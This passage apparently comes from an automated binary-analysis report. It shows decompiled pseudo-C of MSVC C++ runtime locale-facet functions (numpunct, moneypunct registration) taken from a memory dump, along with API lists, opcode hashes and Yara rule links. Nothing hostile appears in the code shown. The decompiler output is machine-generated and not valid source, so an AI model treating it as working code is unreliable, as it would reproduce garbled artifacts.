												_t227 = _t233;
												goto L19;
											}
										}
									} else {
										_t226 =  *(_t242 - 0x10);
										 *(_t242 - 0x10) = _t226;
										 *(_t242 - 4) = 1;
										E6DD16FD3(__eflags, _t226);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t226 + 4))))();
										 *0x6ddd6dfc = _t226;
										goto L12;
									}
								} else {
									_t226 = _t232;
									goto L12;
								}
							}
						} else {
							_t225 =  *(_t242 - 0x10);
							 *(_t242 - 0x10) = _t225;
							 *(_t242 - 4) = 1;
							E6DD16FD3(__eflags, _t225);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t225 + 4))))();
							 *0x6ddd6de0 = _t225;
							goto L5;
						}
					} else {
						_t225 = _t231;
						goto L5;
					}
				}
			}

APIs

__EH_prolog3.LIBCMT ref: 6DD1F9F8
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1FA02
int.LIBCPMT ref: 6DD1FA19

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

numpunct.LIBCPMT ref: 6DD1FA3C
std::_Facet_Register.LIBCPMT ref: 6DD1FA53
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1FA73
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1FA91

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrownumpunct
String ID:
API String ID: 2509942033-0
Opcode ID: 51095fce9569eeb9efe67ac73e0dfa26a92208738baf6a13a70a66cf7f85eac4
Instruction ID: 8642f9ca682983bcadb289adad8a74e5e7c2fafba507a98040bb074f7e37007b
Opcode Fuzzy Hash: 51095fce9569eeb9efe67ac73e0dfa26a92208738baf6a13a70a66cf7f85eac4
Instruction Fuzzy Hash: DF11E076908129CBCF01FBA4DC40AFDB774EF85318F164109F614A7290EB799906CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD2B9E4, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E6DD2B9E4(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t69;
				signed int _t70;
				void* _t82;
				void* _t95;
				void* _t108;
				signed int _t169;
				signed int _t185;
				signed int _t186;
				signed int _t187;
				signed int _t189;
				signed int _t190;
				signed int _t191;
				signed int _t192;
				signed int _t193;
				void* _t198;

				_t182 = __edx;
				_t141 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t198 - 0x14, 0);
				_t189 =  *0x6ddd6e3c; // 0x0
				 *(_t198 - 4) =  *(_t198 - 4) & 0x00000000;
				 *(_t198 - 0x10) = _t189;
				_t69 = E6DCF161C(0x6ddd6e1c);
				_t144 =  *((intOrPtr*)(_t198 + 8));
				_t70 = E6DCF171B( *((intOrPtr*)(_t198 + 8)), _t69);
				_t184 = _t70;
				if(_t70 != 0) {
					L5:
					E6DD166BA(_t198 - 0x14);
					return E6DD30075(_t184);
				} else {
					if(_t189 == 0) {
						_push( *((intOrPtr*)(_t198 + 8)));
						_push(_t198 - 0x10);
						__eflags = E6DD2C120(__ebx, _t144, __edx, _t184, _t189) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t198 - 0x20);
							E6DD33D74(_t198 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t184, _t189, 0x14);
							E6DD16653(_t198 - 0x14, 0);
							_t190 =  *0x6ddd6e38; // 0x0
							 *(_t198 - 4) =  *(_t198 - 4) & 0x00000000;
							 *(_t198 - 0x10) = _t190;
							_t82 = E6DCF161C(0x6ddd6e18);
							_t151 =  *((intOrPtr*)(_t198 + 8));
							_t185 = E6DCF171B( *((intOrPtr*)(_t198 + 8)), _t82);
							__eflags = _t185;
							if(_t185 != 0) {
								L12:
								E6DD166BA(_t198 - 0x14);
								return E6DD30075(_t185);
							} else {
								__eflags = _t190;
								if(_t190 == 0) {
									_push( *((intOrPtr*)(_t198 + 8)));
									_push(_t198 - 0x10);
									__eflags = E6DD2C1A4(_t141, _t151, __edx, _t185, _t190) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t198 - 0x20);
										E6DD33D74(_t198 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t141, _t185, _t190, 0x14);
										E6DD16653(_t198 - 0x14, 0);
										_t191 =  *0x6ddd6e40; // 0x0
										 *(_t198 - 4) =  *(_t198 - 4) & 0x00000000;
										 *(_t198 - 0x10) = _t191;
										_t95 = E6DCF161C(0x6ddd6e20);
										_t158 =  *((intOrPtr*)(_t198 + 8));
										_t186 = E6DCF171B( *((intOrPtr*)(_t198 + 8)), _t95);
										__eflags = _t186;
										if(_t186 != 0) {
											L19:
											E6DD166BA(_t198 - 0x14);
											return E6DD30075(_t186);
										} else {
											__eflags = _t191;
											if(_t191 == 0) {
												_push( *((intOrPtr*)(_t198 + 8)));
												_push(_t198 - 0x10);
												__eflags = E6DD2C229(_t141, _t158, __edx, _t186, _t191) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438(_t198 - 0x20);
													E6DD33D74(_t198 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t141, _t186, _t191, 0x14);
													E6DD16653(_t198 - 0x14, 0);
													_t192 =  *0x6ddd6e44; // 0x0
													 *(_t198 - 4) =  *(_t198 - 4) & 0x00000000;
													 *(_t198 - 0x10) = _t192;
													_t108 = E6DCF161C(0x6ddd6e24);
													_t165 =  *((intOrPtr*)(_t198 + 8));
													_t187 = E6DCF171B( *((intOrPtr*)(_t198 + 8)), _t108);
													__eflags = _t187;
													if(_t187 != 0) {
														L26:
														E6DD166BA(_t198 - 0x14);
														return E6DD30075(_t187);
													} else {
														__eflags = _t192;
														if(_t192 == 0) {
															_push( *((intOrPtr*)(_t198 + 8)));
															_push(_t198 - 0x10);
															__eflags = E6DD2C295(_t141, _t165, _t182, _t187, _t192) - 0xffffffff;
															if(__eflags == 0) {
																_t169 = _t198 - 0x20;
																E6DCF1438(_t169);
																E6DD33D74(_t198 - 0x20, 0x6ddd3504);
																asm("int3");
																E6DD300AC(0x6dd7851f, _t141, _t187, _t192, 4);
																_t193 = _t169;
																 *(_t198 - 0x10) = _t193;
																 *((intOrPtr*)(_t193 + 4)) =  *((intOrPtr*)(_t198 + 0xc));
																_push( *((intOrPtr*)(_t198 + 0x14)));
																_t63 = _t198 - 4;
																 *_t63 =  *(_t198 - 4) & 0x00000000;
																__eflags =  *_t63;
																 *_t193 = 0x6dd7c414;
																 *((char*)(_t193 + 0x28)) =  *((intOrPtr*)(_t198 + 0x10));
																E6DD2D028(_t141, _t169, _t182, _t187, _t193,  *_t63);
																return E6DD30075(_t193,  *((intOrPtr*)(_t198 + 8)));
															} else {
																_t187 =  *(_t198 - 0x10);
																 *(_t198 - 0x10) = _t187;
																 *(_t198 - 4) = 1;
																E6DD16FD3(__eflags, _t187);
																 *0x6dd7a26c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t187 + 4))))();
																 *0x6ddd6e44 = _t187;
																goto L26;
															}
														} else {
															_t187 = _t192;
															goto L26;
														}
													}
												} else {
													_t186 =  *(_t198 - 0x10);
													 *(_t198 - 0x10) = _t186;
													 *(_t198 - 4) = 1;
													E6DD16FD3(__eflags, _t186);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t186 + 4))))();
													 *0x6ddd6e40 = _t186;
													goto L19;
												}
											} else {
												_t186 = _t191;
												goto L19;
											}
										}
									} else {
										_t185 =  *(_t198 - 0x10);
										 *(_t198 - 0x10) = _t185;
										 *(_t198 - 4) = 1;
										E6DD16FD3(__eflags, _t185);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t185 + 4))))();
										 *0x6ddd6e38 = _t185;
										goto L12;
									}
								} else {
									_t185 = _t190;
									goto L12;
								}
							}
						} else {
							_t184 =  *(_t198 - 0x10);
							 *(_t198 - 0x10) = _t184;
							 *(_t198 - 4) = 1;
							E6DD16FD3(__eflags, _t184);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t184 + 4))))();
							 *0x6ddd6e3c = _t184;
							goto L5;
						}
					} else {
						_t184 = _t189;
						goto L5;
					}
				}
			}

APIs

__EH_prolog3.LIBCMT ref: 6DD2B9EB
std::_Lockit::_Lockit.LIBCPMT ref: 6DD2B9F5
int.LIBCPMT ref: 6DD2BA0C

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

moneypunct.LIBCPMT ref: 6DD2BA2F
std::_Facet_Register.LIBCPMT ref: 6DD2BA46
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD2BA66
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD2BA84

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowmoneypunct
String ID:
API String ID: 113178234-0
Opcode ID: 9f5b3b543d99bb7135bf3dd3ad33883de20e8a2b990f9d39f9fadac1571cfc80
Instruction ID: 4a36f08b34cb25ac405a247c519a13019a9074de90ab709136990bad5bed4790
Opcode Fuzzy Hash: 9f5b3b543d99bb7135bf3dd3ad33883de20e8a2b990f9d39f9fadac1571cfc80
Instruction Fuzzy Hash: F311A07590812DDBCF01FBA8C840AFDB774AF45718F178009F610A7290DBB59A068BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F183, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E6DD1F183(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t265;
				signed int _t266;
				void* _t278;
				void* _t291;
				void* _t304;
				void* _t317;
				void* _t330;
				void* _t343;
				void* _t356;
				void* _t369;
				void* _t382;
				void* _t395;
				void* _t408;
				void* _t421;
				void* _t434;
				void* _t447;
				void* _t460;
				void* _t473;
				void* _t486;
				signed int _t701;
				signed int _t759;
				signed int _t760;
				signed int _t761;
				signed int _t762;
				signed int _t763;
				signed int _t764;
				signed int _t765;
				signed int _t766;
				signed int _t767;
				signed int _t768;
				signed int _t769;
				signed int _t770;
				signed int _t771;
				signed int _t772;
				signed int _t773;
				signed int _t774;
				signed int _t775;
				signed int _t777;
				signed int _t778;
				signed int _t779;
				signed int _t780;
				signed int _t781;
				signed int _t782;
				signed int _t783;
				signed int _t784;
				signed int _t785;
				signed int _t786;
				signed int _t787;
				signed int _t788;
				signed int _t789;
				signed int _t790;
				signed int _t791;
				signed int _t792;
				signed int _t793;
				signed int _t794;
				signed int _t795;
				void* _t814;

				_t756 = __edx;
				_t575 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t814 - 0x14, 0);
				_t777 =  *0x6ddd6de8; // 0x0
				 *(_t814 - 4) =  *(_t814 - 4) & 0x00000000;
				 *(_t814 - 0x10) = _t777;
				_t265 = E6DCF161C(0x6ddd6d94);
				_t578 =  *((intOrPtr*)(_t814 + 8));
				_t266 = E6DCF171B( *((intOrPtr*)(_t814 + 8)), _t265);
				_t758 = _t266;
				if(_t266 != 0) {
					L5:
					E6DD166BA(_t814 - 0x14);
					return E6DD30075(_t758);
				} else {
					if(_t777 == 0) {
						_push( *((intOrPtr*)(_t814 + 8)));
						_push(_t814 - 0x10);
						__eflags = E6DD20EB7(__ebx, _t578, __edx, _t758, _t777) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t814 - 0x20);
							E6DD33D74(_t814 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t758, _t777, 0x14);
							E6DD16653(_t814 - 0x14, 0);
							_t778 =  *0x6ddd6db8; // 0x0
							 *(_t814 - 4) =  *(_t814 - 4) & 0x00000000;
							 *(_t814 - 0x10) = _t778;
							_t278 = E6DCF161C(0x6ddd6d6c);
							_t585 =  *((intOrPtr*)(_t814 + 8));
							_t759 = E6DCF171B( *((intOrPtr*)(_t814 + 8)), _t278);
							__eflags = _t759;
							if(_t759 != 0) {
								L12:
								E6DD166BA(_t814 - 0x14);
								return E6DD30075(_t759);
							} else {
								__eflags = _t778;
								if(_t778 == 0) {
									_push( *((intOrPtr*)(_t814 + 8)));
									_push(_t814 - 0x10);
									__eflags = E6DD20F1F(_t575, _t585, __edx, _t759, _t778) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t814 - 0x20);
										E6DD33D74(_t814 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t575, _t759, _t778, 0x14);
										E6DD16653(_t814 - 0x14, 0);
										_t779 =  *0x6ddd6dec; // 0x0
										 *(_t814 - 4) =  *(_t814 - 4) & 0x00000000;
										 *(_t814 - 0x10) = _t779;
										_t291 = E6DCF161C(0x6ddd6d98);
										_t592 =  *((intOrPtr*)(_t814 + 8));
										_t760 = E6DCF171B( *((intOrPtr*)(_t814 + 8)), _t291);
										__eflags = _t760;
										if(_t760 != 0) {
											L19:
											E6DD166BA(_t814 - 0x14);
											return E6DD30075(_t760);
										} else {
											__eflags = _t779;
											if(_t779 == 0) {
												_push( *((intOrPtr*)(_t814 + 8)));
												_push(_t814 - 0x10);
												__eflags = E6DD20F87(_t575, _t592, __edx, _t760, _t779) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438(_t814 - 0x20);
													E6DD33D74(_t814 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t575, _t760, _t779, 0x14);
													E6DD16653(_t814 - 0x14, 0);
													_t780 =  *0x6ddd6dbc; // 0x0
													 *(_t814 - 4) =  *(_t814 - 4) & 0x00000000;
													 *(_t814 - 0x10) = _t780;
													_t304 = E6DCF161C(0x6ddd6d70);
													_t599 =  *((intOrPtr*)(_t814 + 8));
													_t761 = E6DCF171B( *((intOrPtr*)(_t814 + 8)), _t304);
													__eflags = _t761;
													if(_t761 != 0) {
														L26:
														E6DD166BA(_t814 - 0x14);
														return E6DD30075(_t761);
													} else {
														__eflags = _t780;
														if(_t780 == 0) {
															_push( *((intOrPtr*)(_t814 + 8)));
															_push(_t814 - 0x10);
															__eflags = E6DD20FEF(_t575, _t599, _t756, _t761, _t780) - 0xffffffff;
															if(__eflags == 0) {
																E6DCF1438(_t814 - 0x20);
																E6DD33D74(_t814 - 0x20, 0x6ddd3504);
																asm("int3");
																E6DD300AC(0x6dd783cf, _t575, _t761, _t780, 0x14);
																E6DD16653(_t814 - 0x14, 0);
																_t781 =  *0x6ddd6df0; // 0x0
																 *(_t814 - 4) =  *(_t814 - 4) & 0x00000000;
																 *(_t814 - 0x10) = _t781;
																_t317 = E6DCF161C(0x6ddd6d9c);
																_t606 =  *((intOrPtr*)(_t814 + 8));
																_t762 = E6DCF171B( *((intOrPtr*)(_t814 + 8)), _t317);
																__eflags = _t762;
																if(_t762 != 0) {
																	L33:
																	E6DD166BA(_t814 - 0x14);
																	return E6DD30075(_t762);
																} else {
																	__eflags = _t781;
																	if(_t781 == 0) {
																		_push( *((intOrPtr*)(_t814 + 8)));
																		_push(_t814 - 0x10);
																		__eflags = E6DD21057(_t575, _t606, _t756, _t762, _t781) - 0xffffffff;
																		if(__eflags == 0) {
																			E6DCF1438(_t814 - 0x20);
																			E6DD33D74(_t814 - 0x20, 0x6ddd3504);
																			asm("int3");
																			E6DD300AC(0x6dd783cf, _t575, _t762, _t781, 0x14);
																			E6DD16653(_t814 - 0x14, 0);
																			_t782 =  *0x6ddd6dc0; // 0x0
																			 *(_t814 - 4) =  *(_t814 - 4) & 0x00000000;
																			 *(_t814 - 0x10) = _t782;
																			_t330 = E6DCF161C(0x6ddd6d74);
																			_t613 =  *((intOrPtr*)(_t814 + 8));
																			_t763 = E6DCF171B( *((intOrPtr*)(_t814 + 8)), _t330);
																			__eflags = _t763;
																			if(_t763 != 0) {
																				L40:
																				E6DD166BA(_t814 - 0x14);
																				return E6DD30075(_t763);
																			} else {
																				__eflags = _t782;
																				if(_t782 == 0) {
																					_push( *((intOrPtr*)(_t814 + 8)));
																					_push(_t814 - 0x10);
																					__eflags = E6DD210BF(_t575, _t613, _t756, _t763, _t782) - 0xffffffff;
																					if(__eflags == 0) {
																						E6DCF1438(_t814 - 0x20);
																						E6DD33D74(_t814 - 0x20, 0x6ddd3504);
																						asm("int3");
																						E6DD300AC(0x6dd783cf, _t575, _t763, _t782, 0x14);
																						E6DD16653(_t814 - 0x14, 0);
																						_t783 =  *0x6ddd6df8; // 0x0
																						 *(_t814 - 4) =  *(_t814 - 4) & 0x00000000;
																						 *(_t814 - 0x10) = _t783;
																						_t343 = E6DCF161C(0x6ddd6da4);
																						_t620 =  *((intOrPtr*)(_t814 + 8));
																						_t764 = E6DCF171B( *((intOrPtr*)(_t814 + 8)), _t343);
																						__eflags = _t764;
																						if(_t764 != 0) {
																							L47:
																							E6DD166BA(_t814 - 0x14);
																							return E6DD30075(_t764);
																						} else {
																							__eflags = _t783;
																							if(_t783 == 0) {
																								_push( *((intOrPtr*)(_t814 + 8)));
																								_push(_t814 - 0x10);
																								__eflags = E6DD21127(_t575, _t620, _t756, _t764, _t783) - 0xffffffff;
																								if(__eflags == 0) {
																									E6DCF1438(_t814 - 0x20);
																									E6DD33D74(_t814 - 0x20, 0x6ddd3504);
																									asm("int3");
																									E6DD300AC(0x6dd783cf, _t575, _t764, _t783, 0x14);
																									E6DD16653(_t814 - 0x14, 0);
																									_t784 =  *0x6ddd6df4; // 0x0
																									 *(_t814 - 4) =  *(_t814 - 4) & 0x00000000;
																									 *(_t814 - 0x10) = _t784;
																									_t356 = E6DCF161C(0x6ddd6da0);
																									_t627 =  *((intOrPtr*)(_t814 + 8));
																									_t765 = E6DCF171B( *((intOrPtr*)(_t814 + 8)), _t356);
																									__eflags = _t765;
																									if(_t765 != 0) {
																										L54:
																										E6DD166BA(_t814 - 0x14);
																										return E6DD30075(_t765);
																									} else {
																										__eflags = _t784;
																										if(_t784 == 0) {
																											_push( *((intOrPtr*)(_t814 + 8)));
																											_push(_t814 - 0x10);
																											__eflags = E6DD211AB(_t575, _t627, _t756, _t765, _t784) - 0xffffffff;
																											if(__eflags == 0) {
																												E6DCF1438(_t814 - 0x20);
																												E6DD33D74(_t814 - 0x20, 0x6ddd3504);
																												asm("int3");
																												E6DD300AC(0x6dd783cf, _t575, _t765, _t784, 0x14);
																												E6DD16653(_t814 - 0x14, 0);
																												_t785 =  *0x6ddd6dc8; // 0x0
																												 *(_t814 - 4) =  *(_t814 - 4) & 0x00000000;
																												 *(_t814 - 0x10) = _t785;
																												_t369 = E6DCF161C(0x6ddd6d7c);
																												_t634 =  *((intOrPtr*)(_t814 + 8));
																												_t766 = E6DCF171B( *((intOrPtr*)(_t814 + 8)), _t369);
																												__eflags = _t766;
																												if(_t766 != 0) {
																													L61:
																													E6DD166BA(_t814 - 0x14);
																													return E6DD30075(_t766);
																												} else {
																													__eflags = _t785;
																													if(_t785 == 0) {
																														_push( *((intOrPtr*)(_t814 + 8)));
																														_push(_t814 - 0x10);
																														__eflags = E6DD21230(_t575, _t634, _t756, _t766, _t785) - 0xffffffff;
																														if(__eflags == 0) {
																															E6DCF1438(_t814 - 0x20);
																															E6DD33D74(_t814 - 0x20, 0x6ddd3504);
																															asm("int3");
																															E6DD300AC(0x6dd783cf, _t575, _t766, _t785, 0x14);
																															E6DD16653(_t814 - 0x14, 0);
																															_t786 =  *0x6ddd6dc4; // 0x0
																															 *(_t814 - 4) =  *(_t814 - 4) & 0x00000000;
																															 *(_t814 - 0x10) = _t786;
																															_t382 = E6DCF161C(0x6ddd6d78);
																															_t641 =  *((intOrPtr*)(_t814 + 8));
																															_t767 = E6DCF171B( *((intOrPtr*)(_t814 + 8)), _t382);
																															__eflags = _t767;
																															if(_t767 != 0) {
																																L68:
																																E6DD166BA(_t814 - 0x14);
																																return E6DD30075(_t767);
																															} else {
																																__eflags = _t786;
																																if(_t786 == 0) {
																																	_push( *((intOrPtr*)(_t814 + 8)));
																																	_push(_t814 - 0x10);
																																	__eflags = E6DD212B4(_t575, _t641, _t756, _t767, _t786) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E6DCF1438(_t814 - 0x20);
																																		E6DD33D74(_t814 - 0x20, 0x6ddd3504);
																																		asm("int3");
																																		E6DD300AC(0x6dd783cf, _t575, _t767, _t786, 0x14);
																																		E6DD16653(_t814 - 0x14, 0);
																																		_t787 =  *0x6ddd6dd8; // 0x0
																																		 *(_t814 - 4) =  *(_t814 - 4) & 0x00000000;
																																		 *(_t814 - 0x10) = _t787;
																																		_t395 = E6DCF161C(0x6ddd6d84);
																																		_t648 =  *((intOrPtr*)(_t814 + 8));
																																		_t768 = E6DCF171B( *((intOrPtr*)(_t814 + 8)), _t395);
																																		__eflags = _t768;
																																		if(_t768 != 0) {
																																			L75:
																																			E6DD166BA(_t814 - 0x14);
																																			return E6DD30075(_t768);
																																		} else {
																																			__eflags = _t787;
																																			if(_t787 == 0) {
																																				_push( *((intOrPtr*)(_t814 + 8)));
																																				_push(_t814 - 0x10);
																																				__eflags = E6DD21339(_t575, _t648, _t756, _t768, _t787) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E6DCF1438(_t814 - 0x20);
																																					E6DD33D74(_t814 - 0x20, 0x6ddd3504);
																																					asm("int3");
																																					E6DD300AC(0x6dd783cf, _t575, _t768, _t787, 0x14);
																																					E6DD16653(_t814 - 0x14, 0);
																																					_t788 =  *0x6ddd6db0; // 0x0
																																					 *(_t814 - 4) =  *(_t814 - 4) & 0x00000000;
																																					 *(_t814 - 0x10) = _t788;
																																					_t408 = E6DCF161C(0x6ddd6d64);
																																					_t655 =  *((intOrPtr*)(_t814 + 8));
																																					_t769 = E6DCF171B( *((intOrPtr*)(_t814 + 8)), _t408);
																																					__eflags = _t769;
																																					if(_t769 != 0) {
																																						L82:
																																						E6DD166BA(_t814 - 0x14);
																																						return E6DD30075(_t769);
																																					} else {
																																						__eflags = _t788;
																																						if(_t788 == 0) {
																																							_push( *((intOrPtr*)(_t814 + 8)));
																																							_push(_t814 - 0x10);
																																							__eflags = E6DD213A1(_t575, _t655, _t756, _t769, _t788) - 0xffffffff;
																																							if(__eflags == 0) {
																																								E6DCF1438(_t814 - 0x20);
																																								E6DD33D74(_t814 - 0x20, 0x6ddd3504);
																																								asm("int3");
																																								E6DD300AC(0x6dd783cf, _t575, _t769, _t788, 0x14);
																																								E6DD16653(_t814 - 0x14, 0);
																																								_t789 =  *0x6ddd6ddc; // 0x0
																																								 *(_t814 - 4) =  *(_t814 - 4) & 0x00000000;
																																								 *(_t814 - 0x10) = _t789;
																																								_t421 = E6DCF161C(0x6ddd6d88);
																																								_t662 =  *((intOrPtr*)(_t814 + 8));
																																								_t770 = E6DCF171B( *((intOrPtr*)(_t814 + 8)), _t421);
																																								__eflags = _t770;
																																								if(_t770 != 0) {
																																									L89:
																																									E6DD166BA(_t814 - 0x14);
																																									return E6DD30075(_t770);
																																								} else {
																																									__eflags = _t789;
																																									if(_t789 == 0) {
																																										_push( *((intOrPtr*)(_t814 + 8)));
																																										_push(_t814 - 0x10);
																																										__eflags = E6DD21409(_t575, _t662, _t756, _t770, _t789) - 0xffffffff;
																																										if(__eflags == 0) {
																																											E6DCF1438(_t814 - 0x20);
																																											E6DD33D74(_t814 - 0x20, 0x6ddd3504);
																																											asm("int3");
																																											E6DD300AC(0x6dd783cf, _t575, _t770, _t789, 0x14);
																																											E6DD16653(_t814 - 0x14, 0);
																																											_t790 =  *0x6ddd6de0; // 0x0
																																											 *(_t814 - 4) =  *(_t814 - 4) & 0x00000000;
																																											 *(_t814 - 0x10) = _t790;
																																											_t434 = E6DCF161C(0x6ddd6d8c);
																																											_t669 =  *((intOrPtr*)(_t814 + 8));
																																											_t771 = E6DCF171B( *((intOrPtr*)(_t814 + 8)), _t434);
																																											__eflags = _t771;
																																											if(_t771 != 0) {
																																												L96:
																																												E6DD166BA(_t814 - 0x14);
																																												return E6DD30075(_t771);
																																											} else {
																																												__eflags = _t790;
																																												if(_t790 == 0) {
																																													_push( *((intOrPtr*)(_t814 + 8)));
																																													_push(_t814 - 0x10);
																																													__eflags = E6DD21471(_t575, _t669, _t756, _t771, _t790) - 0xffffffff;
																																													if(__eflags == 0) {
																																														E6DCF1438(_t814 - 0x20);
																																														E6DD33D74(_t814 - 0x20, 0x6ddd3504);
																																														asm("int3");
																																														E6DD300AC(0x6dd783cf, _t575, _t771, _t790, 0x14);
																																														E6DD16653(_t814 - 0x14, 0);
																																														_t791 =  *0x6ddd6dfc; // 0x0
																																														 *(_t814 - 4) =  *(_t814 - 4) & 0x00000000;
																																														 *(_t814 - 0x10) = _t791;
																																														_t447 = E6DCF161C(0x6ddd6da8);
																																														_t676 =  *((intOrPtr*)(_t814 + 8));
																																														_t772 = E6DCF171B( *((intOrPtr*)(_t814 + 8)), _t447);
																																														__eflags = _t772;
																																														if(_t772 != 0) {
																																															L103:
																																															E6DD166BA(_t814 - 0x14);
																																															return E6DD30075(_t772);
																																														} else {
																																															__eflags = _t791;
																																															if(_t791 == 0) {
																																																_push( *((intOrPtr*)(_t814 + 8)));
																																																_push(_t814 - 0x10);
																																																__eflags = E6DD214EC(_t575, _t676, _t756, _t772, _t791) - 0xffffffff;
																																																if(__eflags == 0) {
																																																	E6DCF1438(_t814 - 0x20);
																																																	E6DD33D74(_t814 - 0x20, 0x6ddd3504);
																																																	asm("int3");
																																																	E6DD300AC(0x6dd783cf, _t575, _t772, _t791, 0x14);
																																																	E6DD16653(_t814 - 0x14, 0);
																																																	_t792 =  *0x6ddd6dcc; // 0x0
																																																	 *(_t814 - 4) =  *(_t814 - 4) & 0x00000000;
																																																	 *(_t814 - 0x10) = _t792;
																																																	_t460 = E6DCF161C(0x6ddd6d80);
																																																	_t683 =  *((intOrPtr*)(_t814 + 8));
																																																	_t773 = E6DCF171B( *((intOrPtr*)(_t814 + 8)), _t460);
																																																	__eflags = _t773;
																																																	if(_t773 != 0) {
																																																		L110:
																																																		E6DD166BA(_t814 - 0x14);
																																																		return E6DD30075(_t773);
																																																	} else {
																																																		__eflags = _t792;
																																																		if(_t792 == 0) {
																																																			_push( *((intOrPtr*)(_t814 + 8)));
																																																			_push(_t814 - 0x10);
																																																			__eflags = E6DD21558(_t575, _t683, _t756, _t773, _t792) - 0xffffffff;
																																																			if(__eflags == 0) {
																																																				E6DCF1438(_t814 - 0x20);
																																																				E6DD33D74(_t814 - 0x20, 0x6ddd3504);
																																																				asm("int3");
																																																				E6DD300AC(0x6dd783cf, _t575, _t773, _t792, 0x14);
																																																				E6DD16653(_t814 - 0x14, 0);
																																																				_t793 =  *0x6ddd6e00; // 0x0
																																																				 *(_t814 - 4) =  *(_t814 - 4) & 0x00000000;
																																																				 *(_t814 - 0x10) = _t793;
																																																				_t473 = E6DCF161C(0x6ddd6dac);
																																																				_t690 =  *((intOrPtr*)(_t814 + 8));
																																																				_t774 = E6DCF171B( *((intOrPtr*)(_t814 + 8)), _t473);
																																																				__eflags = _t774;
																																																				if(_t774 != 0) {
																																																					L117:
																																																					E6DD166BA(_t814 - 0x14);
																																																					return E6DD30075(_t774);
																																																				} else {
																																																					__eflags = _t793;
																																																					if(_t793 == 0) {
																																																						_push( *((intOrPtr*)(_t814 + 8)));
																																																						_push(_t814 - 0x10);
																																																						__eflags = E6DD215C4(_t575, _t690, _t756, _t774, _t793) - 0xffffffff;
																																																						if(__eflags == 0) {
																																																							E6DCF1438(_t814 - 0x20);
																																																							E6DD33D74(_t814 - 0x20, 0x6ddd3504);
																																																							asm("int3");
																																																							E6DD300AC(0x6dd783cf, _t575, _t774, _t793, 0x14);
																																																							E6DD16653(_t814 - 0x14, 0);
																																																							_t794 =  *0x6ddd6dd0; // 0x0
																																																							 *(_t814 - 4) =  *(_t814 - 4) & 0x00000000;
																																																							 *(_t814 - 0x10) = _t794;
																																																							_t486 = E6DCF161C(0x6ddd6d60);
																																																							_t697 =  *((intOrPtr*)(_t814 + 8));
																																																							_t775 = E6DCF171B( *((intOrPtr*)(_t814 + 8)), _t486);
																																																							__eflags = _t775;
																																																							if(_t775 != 0) {
																																																								L124:
																																																								E6DD166BA(_t814 - 0x14);
																																																								return E6DD30075(_t775);
																																																							} else {
																																																								__eflags = _t794;
																																																								if(_t794 == 0) {
